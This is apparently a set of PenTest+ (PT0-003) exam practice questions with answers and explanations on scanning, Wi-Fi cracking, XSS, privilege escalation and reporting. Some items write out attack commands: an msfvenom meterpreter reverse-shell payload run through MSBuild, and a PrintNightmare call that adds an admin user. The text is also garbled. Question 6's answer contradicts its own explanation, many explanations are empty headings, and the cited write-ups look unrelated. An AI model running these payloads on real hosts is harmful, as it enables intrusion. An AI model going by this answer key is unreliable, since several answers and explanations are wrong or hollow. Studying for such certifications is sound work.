How Many Questions Of PT0-003 Question

NEW QUESTION 1
As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

• A. Logic bomb
• B. SQL injection
• C. Brute-force attack
• D. Cross-site scripting

Answer: B

Explanation:
SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here??s why option B is the most likely technique:
✑ Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.
✑ Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.
✑ Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.
References from Pentest:
✑ Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction.
✑ Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.
Conclusion:
Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.
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NEW QUESTION 2
A penetration tester is working on a security assessment of a mobile application that was developed in-house for local use by a hospital. The hospital and its customers are very concerned about disclosure of information. Which of the following tasks should the penetration tester do first?

• A. Set up Drozer in order to manipulate and scan the application.
• B. Run the application through the mobile application security framework.
• C. Connect Frida to analyze the application at runtime to look for data leaks.
• D. Load the application on client-owned devices for testing.

Answer: B

Explanation:
When performing a security assessment on a mobile application, especially one concerned with information disclosure, it is crucial to follow a structured approach to identify vulnerabilities comprehensively. Here??s why option B is correct:
✑ Mobile Application Security Framework: This framework provides a structured methodology for assessing the security of mobile applications. It includes various tests such as static analysis, dynamic analysis, and reverse engineering, which are essential for identifying vulnerabilities related to information disclosure.
✑ Initial Steps: Running the application through a security framework allows the tester to identify a broad range of potential issues systematically. This initial step ensures that all aspects of the application's security are covered before delving into more specific tools like Drozer or Frida.
References from Pentest:
✑ Writeup HTB: Demonstrates the use of structured methodologies to ensure comprehensive coverage of security assessments.
✑ Horizontall HTB: Emphasizes the importance of following a structured approach to identify and address security issues.
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NEW QUESTION 3
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

• A. regsvr32 /s /n /u C:\evil.xml
• B. MSBuild.exe C:\evil.xml
• C. mshta.exe C:\evil.xml
• D. AppInstaller.exe C:\evil.xml

Answer: B

Explanation:
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
✑ Understanding MSBuild.exe:
✑ Command Usage:
✑ Comparison with Other Commands:
Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.
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NEW QUESTION 4
A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?

• A. SAST
• B. Sidecar
• C. Unauthenticated
• D. Host-based

Answer: C

Explanation:
To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.
✑ Unauthenticated Scan:
✑ Comparison with Other Scans:
✑ Pentest References:
By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.
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NEW QUESTION 5
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

• A. Enable monitoring mode using Aircrack-ng.
• B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
• C. Run KARMA to break the password.
• D. Research WiGLE.net for potential nearby client access points.

Answer: A

Explanation:
✑ Monitoring Mode:
✑ Aircrack-ng Suite: airmon-ng start wlan0
This command starts the interface wlan0 in monitoring mode.
✑ Steps to Capture WPA2 Handshakes: airodump-ng wlan0mon
Pentest References:
✑ Wireless Security Assessments: Understanding the importance of monitoring mode for capturing data during wireless penetration tests.
✑ Aircrack-ng Tools: Utilizing the suite effectively for tasks like capturing WPA2 handshakes, deauthenticating clients, and cracking passwords.
By enabling monitoring mode with Aircrack-ng, the tester can capture the necessary WPA2 handshakes to further analyze and attempt to crack the Wi-Fi network's password.
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NEW QUESTION 6
A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?

• A. A generative AI assistant
• B. The customer's designated contact
• C. A cybersecurity industry peer
• D. A team member

Answer: B

Explanation:
Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member. Here??s why:
✑ Internal Peer Review:
✑ Alternative Review Options:
In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.
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NEW QUESTION 7
During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

• A. SQL injection
• B. SSRF
• C. XSS
• D. Server-side template injection

Answer: C

Explanation:
Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here??s why option C is correct:
✑ XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user??s browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.
✑ SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.
✑ SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.
✑ Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user??s browser.
References from Pentest:
✑ Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications.
✑ Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser.
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NEW QUESTION 8
A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?

• A. Phishing
• B. Tailgating
• C. Whaling
• D. Spear phishing

Answer: D

Explanation:
Spear phishing is a targeted email attack aimed at specific individuals within an organization. Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.
✑ Understanding Spear Phishing:
✑ Purpose:
✑ Process:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 9
A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool:
PORT STATE SERVICE
22/tcp open ssh 25/tcp filtered smtp 111/tcp open rpcbind 2049/tcp open nfs
Based on the output, which of the following services provides the best target for launching an attack?

• A. Database
• B. Remote access
• C. Email
• D. File sharing

Answer: D

Explanation:
Based on the Nmap scan results, the services identified on the target server are as follows:
✑ 22/tcp open ssh:
✑ 25/tcp filtered smtp:
✑ 111/tcp open rpcbind:
✑ 2049/tcp open nfs:
Conclusion: The NFS service (2049/tcp) provides the best target for launching an attack. File sharing services like NFS often contain sensitive data and can be vulnerable to misconfigurations that allow unauthorized access or privilege escalation.

NEW QUESTION 10
During an assessment, a penetration tester manages to get RDP access via a low-privilege user. The tester attempts to escalate privileges by running the following commands:
Import-Module .\PrintNightmare.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print"
The tester attempts to further enumerate the host with the new administrative privileges by using the runas command. However, the access level is still low. Which of the following actions should the penetration tester take next?

• A. Log off and log on with "hacker".
• B. Attempt to add another user.
• C. Bypass the execution policy.
• D. Add a malicious printer driver.

Answer: A

Explanation:
In the scenario where a penetration tester uses the PrintNightmare exploit to create a new user with administrative privileges but still experiences low-privilege access, the tester should log off and log on with the new "hacker" account to escalate privileges correctly.
✑ PrintNightmare Exploit:
✑ Commands Breakdown:
✑ Issue:
✑ Solution:
Pentest References:
✑ Privilege Escalation: After gaining initial access, escalating privileges is crucial to gain full control over the target system.
✑ Session Management: Understanding how user sessions work and ensuring that new privileges are recognized by starting a new session.
✑ The use of the PrintNightmare exploit highlights a specific technique for privilege escalation within Windows environments.
By logging off and logging on with the new "hacker" account, the penetration tester can ensure the new administrative privileges are fully applied, allowing for further enumeration and exploitation of the target system.
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NEW QUESTION 11
HOTSPOT
You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 12
Which of the following components should a penetration tester include in an assessment report?

• A. User activities
• B. Customer remediation plan
• C. Key management
• D. Attack narrative

Answer: D

Explanation:
An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.
✑ Components of an Assessment Report:
✑ Importance of Attack Narrative:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 13
A penetration tester performs an assessment on the target company's Kubernetes cluster using kube-hunter. Which of the following types of vulnerabilities could be detected with the tool?

• A. Network configuration errors in Kubernetes services
• B. Weaknesses and misconfigurations in the Kubernetes cluster
• C. Application deployment issues in Kubernetes
• D. Security vulnerabilities specific to Docker containers

Answer: B

Explanation:
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here??s why option B is correct:
✑ Kube-hunter: It scans Kubernetes clusters to identify security issues, such as
misconfigurations, insecure settings, and potential attack vectors.
✑ Network Configuration Errors: While kube-hunter might identify some network- related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
✑ Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
✑ Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
References from Pentest:
✑ Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
✑ Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
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NEW QUESTION 14
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

• A. ChopChop
• B. Replay
• C. Initialization vector
• D. KRACK

Answer: D

Explanation:
KRACK (Key Reinstallation Attack) exploits a vulnerability in the WPA2 protocol to decrypt and inject packets, potentially allowing an attacker to break the encryption key and gain access to the Wi-Fi network.
✑ Understanding KRACK:
✑ Attack Steps:
✑ Impact:
✑ Mitigation:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 15
During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?

• A. On-path
• B. Logic bomb
• C. Rootkit
• D. Buffer overflow

Answer: C

Explanation:
A rootkit is a type of malicious software designed to provide an attacker with unauthorized access to a computer system while concealing its presence. Rootkits achieve this by modifying the host??s operating system or other software to hide their existence, allowing the attacker to maintain control over the system without detection.
✑ Definition and Purpose:
✑ Mechanisms of Action:
✑ Detection and Prevention:
✑ Real-World Examples:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups on sophisticated attacks
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NEW QUESTION 16
A penetration tester needs to complete cleanup activities from the testing lead. Which of the following should the tester do to validate that reverse shell payloads are no longer running?

• A. Run scripts to terminate the implant on affected hosts.
• B. Spin down the C2 listeners.
• C. Restore the firewall settings of the original affected hosts.
• D. Exit from C2 listener active sessions.

Answer: A

Explanation:
To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts. Here??s why option A is correct:
✑ Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.
✑ Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.
✑ Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.
✑ Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that implants are terminated.
References from Pentest:
✑ Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.
✑ Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.
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NEW QUESTION 17
A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services. Which of the following commands should the tester use?

• A. nmap -sU -sW -p 1-65535 example.com
• B. nmap -sU -sY -p 1-65535 example.com
• C. nmap -sU -sT -p 1-65535 example.com
• D. nmap -sU -sN -p 1-65535 example.com

Answer: C

Explanation:
✑ Comparison with Other Options:
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NEW QUESTION 18
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